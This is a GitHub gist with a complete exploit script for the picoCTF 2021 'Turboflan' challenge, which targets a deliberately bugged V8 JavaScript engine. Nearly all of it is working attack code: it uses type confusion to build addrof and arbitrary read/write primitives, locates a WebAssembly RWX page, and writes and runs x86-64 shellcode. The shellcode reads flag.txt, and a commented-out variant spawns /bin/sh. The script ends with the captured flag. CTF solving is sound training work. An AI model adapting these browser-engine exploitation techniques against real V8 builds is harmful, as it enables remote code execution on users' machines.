Skip to content

Instantly share code, notes, and snippets.

@Xornet-Euphoria
Created January 23, 2024 13:03
Show Gist options
  • Save Xornet-Euphoria/1ab286144187abfe9035b8c557785dc2 to your computer and use it in GitHub Desktop.
Save Xornet-Euphoria/1ab286144187abfe9035b8c557785dc2 to your computer and use it in GitHub Desktop.
picoCTF 2021 - Turboflan
// utility functions
// convert float64 <-> uint64
let buf = new ArrayBuffer(8);
let float_buf = new Float64Array(buf);
let uint_buf = new BigUint64Array(buf);
function f2i(v) {
float_buf[0] = v;
return uint_buf[0];
}
function i2f(v) {
uint_buf[0] = v;
return float_buf[0];
}
// concat 2 integer
function toUint64(upper, lower) {
return (upper << 32n) + lower;
}
// print utils
function hexPrint(v) {
console.log("[+] 0x" + v.toString(16));
}
// --------------------------------------------------
function opt_float_arr(l) {
let x = l.length;
return l[x >> 16]; // in small array, equal to l[0]
}
function opt_obj_arr(l) {
let x = l.length;
return l[x >> 16]; // in small array, equal to l[0]
}
function fire() {
let tmp = [3.3, 4.4];
for (let i = 0; i < 0x10000; i++) {
opt_float_arr(tmp);
}
let tmp2 = [{X:1}, {Y:2}];
for (let i = 0; i < 0x10000; i++) {
opt_obj_arr(tmp2);
}
}
fire()
// in array of object, this function returns (elements[1] << 32n) + elements[0]
// so if the length of elements is 1, elements[1] is equal to the map of `tmp` (map of object array)
function addrof(obj) {
let tmp = [obj];
return f2i(opt_float_arr(tmp));
}
let testObj = {X:1};
let leak = addrof(testObj);
let obj_arr_map = leak >> 32n;
let float_arr_map = obj_arr_map - 80n; // maybe fixed (from %DebugPrint)
hexPrint(obj_arr_map);
hexPrint(float_arr_map);
let fakeobj = [i2f(float_arr_map), i2f(0x1000000000n)] // elements will be changed
let fake_addr = addrof(fakeobj) + 0x24n;
let fake_obj_arr = [i2f(fake_addr), i2f(fake_addr)];
let aarw_arr = opt_obj_arr(fake_obj_arr);
function aar(addr) {
fakeobj[1] = i2f(0x20000000000n + ((addr - 0x8n) & 0xffffffffn));
return f2i(aarw_arr[0])
}
function aaw(addr, v) {
fakeobj[1] = i2f(0x20000000000n + ((addr - 0x8n) & 0xffffffffn));
aarw_arr[0] = i2f(v);
}
// prepare wasm instance
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
// get address of RWX page
const wasm_addr = addrof(wasm_instance);
const rwx_addr = aar(wasm_addr + 0x68n);
hexPrint(rwx_addr)
// AAW outside of v8 heap
// write to backing_store of ArrayBuffer
let aaw_buf = new ArrayBuffer(0x400);
let dv = new DataView(aaw_buf);
const backing_store = addrof(aaw_buf) + 0x14n
aaw(backing_store, rwx_addr);
// writing shellcode
// "/bin//sh"
//let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5]
// "equivalent to `cat flag.txt`
let shellcode = [106, 1, 254, 12, 36, 72, 184, 102, 108, 97, 103, 46, 116, 120, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 106, 1, 95, 153, 15, 5]
for (let i = 0; i < shellcode.length; i++) {
dv.setUint8(i, shellcode[i]);
}
// cake
f();
// picoCTF{Good_job!_Now_go_find_a_real_v8_cve!_4f2661eab1a80e33}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment